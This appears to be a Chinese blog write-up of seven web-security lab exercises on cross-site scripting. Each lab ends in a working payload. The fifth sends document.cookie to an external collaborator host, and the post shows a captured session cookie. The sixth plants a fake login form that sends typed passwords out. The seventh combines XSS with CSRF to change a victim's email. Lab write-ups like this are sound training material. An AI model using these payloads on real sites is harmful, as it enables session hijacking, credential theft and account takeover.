30连环靶场XSS跨站脚本攻击—进阶篇1

30连环靶场XSS跨站脚本攻击—进阶篇1

一号靶场

image-20230605215338828

题目没有太多信息,提示页面document.write函数可利用

进入查看

image-20230605215441641

查看源码后,发现document.write函数可利用

image-20230605215510874

有个storeId参数,尝试URL传参,发现数据被加入到option和select中,发现注入点

image-20230605215628373

构造payload

</option></select><img src=x onerror=alert(1) >

image-20230605215818738

二号靶场

image-20230605220218001

题目中可知利用AngularJS库,得先补充一波AngularJS的基础知识,类似于Vue的双向绑定的感觉…

image-20230605222828400

得到的信息是{{…js…}} 在这个格式下执行JS,但是直接构造{{alert(1)}} 和 {{-alert(1)-}} 都不行,再去查资料,发现 o n . c o n s t r u c t o r ( . . . ) 函数, on.constructor(...)函数, on.constructor(...)函数,on 是事件对象,调用构造方法constructor()函数,传参js会出js效果,尝试构造payload:

{{$on.constructor('alert(1)')()}}

image-20230605222806342

三号靶场

image-20230605223016033

题目可知,反射DOM漏洞,想办法触发alert即可

image-20230605223409248

主页搜索随意字符串后,没发现任何注入点,但源码中引入了这个js文件,查看一番

image-20230605223711554

发现js文件中动态创建了DOM h1标签,并且里面的数据是js给进去的。

尝试了几波payload都未果,无法在这里内部注入,突然发现上面有个ajax发出的请求

image-20230605225544059

跑去请求看了下,发现有个json

image-20230605225606648

是它没错了! 发现注入点

构造payload:

\"-alert(1)}//

image-20230605230001248

四号靶场

image-20230605230154075

题目可知,存储型DOM漏洞,进入靶场

image-20230605230514629

页面有个留言板,留言测试了下,会回显到页面上,源码如图,尝试闭合测试

image-20230605232336690

经测试,发现<> 尖括号被转义了,发现注入点,尝试绕过

<><img src=x onerror=alert(1)>

image-20230605232504678

五号靶场

image-20230605232646294

image-20230606203254974

题目要求盗取用户cookie,提示写明:要使用防火墙阻止,要使用服务器,发送脚本到页面上,受害者登录后触发后台直接发送受害者cookie

image-20230606203927175

Burp-suite中开启一个外部服务器,构造payload:

<script>
    fetch('https://nxopi4s3141h1a9ahgxpwh3pcgi66v.oastify.com',{
    	method:'POST',
    	mode:'no-cors',
    	body:document.cookie
	});
</script>

image-20230606204547366

将payload留言提交,Burp中拉取一下,就能收到受害者发送来的请求包,点开HTTP请求,获取到受害者cookie

O3WPu4ezbYDzs9BVtQ4EWnCx4OWfBuS1

然后用插件将自己的cookie替换为受害者的cookie,直接伪装登录

image-20230606210016207

六号靶场

和上一个靶场有点像,通过外部服务器,来获取受害者用户名密码,伪装登录

image-20230606210201350

进入靶场

使用上一个方法,没有拿到cookie,换一下思路

构造payload:

<input name="username" id="username" type="text">
<input name="password" type="password" onchange="if(this.value.length)fetch('https://dzgwvk3kxpnqyr4d50eg36vd64cu0j.oastify.com/',{
 method:'POST',
 mode:'no-cors',
 body:username.value+'===='+this.value
});">

image-20230606212537283

image-20230606212609672

七号靶场

image-20230606212821265

通关要求修改用户的邮箱,CSRF 跨站伪造攻击,通过用户的错误点击,来达到攻击效果

(老子Steam账号的邮箱,appleID 邮箱 都他喵被盗过),账号已经给出

简单来说,别乱点,就不会中招!

image-20230606213114607

image-20230606213123050

登录账号,看到修改邮箱页面,随便输入一个邮箱,修改,抓包看到请求有csrf token信息

image-20230606213351567

image-20230606214200765

源码中可以看到提交表单的请求地址 /my-account/change-email

那么我们需要在留言板注入一段脚本,使受害者在进入个人页面后,获取到csrf token,然后自动发送一个请求到change-email从而修改掉受害者邮箱

构造payload:

<script>
//创建异步请求对象
var req = new XMLHttpRequest();
//当请求完成时触发保存返回报文
req.onload = handleResponse;
//创造请求
req.open('get','/my-account',true);
//发送请求
req.send();
function handleResponse() {
//获取token 正则
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    //再定义一个隐式请求
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    //修改邮箱
    changeReq.send('csrf='+token+'&email=laoding@qq.com')
};
</script>

image-20230606215458945

image-20230606215510510

XSS联动CSRF,算是 混伤了~ =。= ||| 多多少少 底层都在偷偷发请求

找寻新世界还为时不晚,因为我的梦想是杨帆到日落之后的地方…
未完待续~
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值